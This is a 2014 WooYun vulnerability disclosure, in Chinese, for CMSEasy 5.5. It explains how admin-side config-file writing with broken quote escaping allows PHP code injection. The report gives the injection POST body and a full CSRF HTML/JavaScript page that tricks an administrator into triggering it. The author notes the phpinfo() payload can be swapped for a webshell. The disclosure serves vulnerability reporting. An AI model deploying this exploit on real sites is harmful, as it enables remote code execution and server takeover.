当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075682

漏洞标题:cmseasy 后台csrf缓存配置文件可导致getshell(2)

相关厂商:cmseasy

漏洞作者: menmen519

提交时间:2014-09-15 10:41

修复时间:2014-12-14 10:42

公开时间:2014-12-14 10:42

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-15: 细节已通知厂商并且等待厂商处理中
2014-09-16: 厂商已经确认,细节仅向厂商公开
2014-09-19: 细节向第三方安全合作伙伴开放
2014-11-10: 细节向核心白帽子及相关领域专家公开
2014-11-20: 细节向普通白帽子公开
2014-11-30: 细节向实习白帽子公开
2014-12-14: 细节向公众公开

简要描述:

cmseasy 管理员身份 后台缓存配置文件,没有过滤一个字符导致getshell(2)

详细说明:

直接到:

28.png


然后我们分析代码:
website_admin.php:(lines:25-43):

function editwebsite_action() {
chkpw('website_edit');
if (front::post('submit')) {
$var = front::$post;
$path = ROOT.'/config/website/'.front::$post['path'].'.php';
$contenttmp = file_get_contents(ROOT.'/config/config.example.php');
if (is_array($var))
foreach ($var as $key=>$value) {
$value=str_replace("'","\'",$value);
$contenttmp=preg_replace("%(\'$key\'=>)\'.*?\'(,\s*//)%i","$1'$value'$2",$contenttmp);
}
@file_put_contents($path,$contenttmp);
//echo '<script type="text/javascript">alert("操作完成!")</script>';
front::refresh(url('website/listwebsite',true));
}
$path = ROOT.'/config/website/'.front::$get['id'].'.php';
$datatmp = include $path;
$this->view->data = $datatmp;
}


我们找到这两句:

$value=str_replace("'","\'",$value);
$contenttmp=preg_replace("%(\'$key\'=>)\'.*?\'(,\s*//)%i","$1'$value'$2",$contenttmp);


跟我上一个属于同一个毛病,转来转去的最终还是把\' 转化成为\\'
我们访问url:
url:http://192.168.10.70/CmsEasy_5.5_UTF-8_20140818/uploads/index.php?case=website&act=editwebsite&table=&admin_dir=admin&site=default
postdata:
name=%E5%85%AC%E5%8F%B8%E7%BD%91%E7%AB\'%2bphpinfo(),//&path=test&site_url=http%3A%2F%2Fwww.cmseasy.cn%2F&site_username=admin&site_password=admin&site_admindir=admin&submit=%E6%8F%90%E4%BA%A4
然后这个文件就会在config\website生成一个test.php,我们访问一下看看:

29.png


下来我们构造csrf文件:

<html>
<body>
<script>
function csrf_sql(){
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.10.70/CmsEasy_5.5_UTF-8_20140818/uploads/index.php?case=website&act=editwebsite&table=&admin_dir=admin&site=default", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.withCredentials = "true";
var body='name=%E5%85%AC%E5%8F%B8%E7%BD%91%E7%AB\'%2bphpinfo(),//&path=test&site_url=http%3A%2F%2Fwww.cmseasy.cn%2F&site_username=admin&site_password=admin&site_admindir=admin&submit=%E6%8F%90%E4%BA%A4';
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}

csrf_sql();
</script>
</body>
</html>


我们放到另一台机器上去,然后发给管理员,管理员触发之后,看看这里是否生成了我们想要的shell:

30.png


这个我们一看就不用担心,因为这是个配置文件,站点肯定会全局include的,当它include的时候这个phpinfo就会执行了,我们在此访问一下站点:

31.png


32.png


ok演示完毕,这里我们可以替换phpinfo 自己生成一个一句话木马即可

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-09-16 08:22

厂商回复:

感谢

最新状态:

暂无


漏洞评价:

评论

  1. 2014-09-15 11:15 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    必火留名啊!

  2. 2014-09-24 11:30 | Stefanie ( 实习白帽子 | Rank:75 漏洞数:9 | 暂无)

    服了。